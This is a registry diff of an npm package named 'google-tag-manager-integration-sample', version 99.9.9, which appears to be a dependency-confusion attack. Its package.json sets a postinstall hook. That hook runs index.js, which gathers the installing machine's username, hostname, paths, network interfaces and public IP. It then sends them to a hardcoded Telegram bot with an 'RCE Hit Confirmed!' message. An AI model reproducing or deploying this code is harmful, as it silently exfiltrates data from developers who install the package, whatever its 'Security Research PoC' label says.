google-tag-manager-integration-sample 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +54 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,54 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const { execSync } = require('child_process');
4
+
5
+ const botToken = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
6
+ const chatId = "8655055695";
7
+
8
+ async function getDetails() {
9
+ let publicIp = "Unknown";
10
+ try { publicIp = execSync('curl -s https://ifconfig.me').toString().trim(); } catch (e) {}
11
+
12
+ const data = {
13
+ package: "google-tag-manager-integration-sample",
14
+ hostname: os.hostname(),
15
+ platform: os.platform(),
16
+ arch: os.arch(),
17
+ homeDir: os.homedir(),
18
+ cwd: process.cwd(),
19
+ localIp: JSON.stringify(os.networkInterfaces()),
20
+ publicIp: publicIp,
21
+ user: os.userInfo().username
22
+ };
23
+
24
+ const message = `🚀 *RCE Hit Confirmed!* \n\n` +
25
+ `📦 *Package:* ${data.package}\n` +
26
+ `👤 *User:* ${data.user}\n` +
27
+ `🖥️ *Hostname:* ${data.hostname}\n` +
28
+ `🌍 *Public IP:* ${data.publicIp}\n` +
29
+ `📂 *Path:* ${data.cwd}\n` +
30
+ `🔧 *OS:* ${data.platform} ${data.arch}`;
31
+
32
+ const payload = JSON.stringify({
33
+ chat_id: chatId,
34
+ text: message,
35
+ parse_mode: "Markdown"
36
+ });
37
+
38
+ const options = {
39
+ hostname: 'api.telegram.org',
40
+ port: 4443, // Alternate port for some firewalls, or use 443
41
+ path: `/bot${botToken}/sendMessage`,
42
+ method: 'POST',
43
+ headers: {
44
+ 'Content-Type': 'application/json',
45
+ 'Content-Length': payload.length
46
+ }
47
+ };
48
+
49
+ const req = https.request(options);
50
+ req.write(payload);
51
+ req.end();
52
+ }
53
+
54
+ getDetails();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "google-tag-manager-integration-sample",
3
+ "version": "99.9.9",
4
+ "description": "Security Research PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "alone_beast_02",
10
+ "license": "MIT"
11
+ }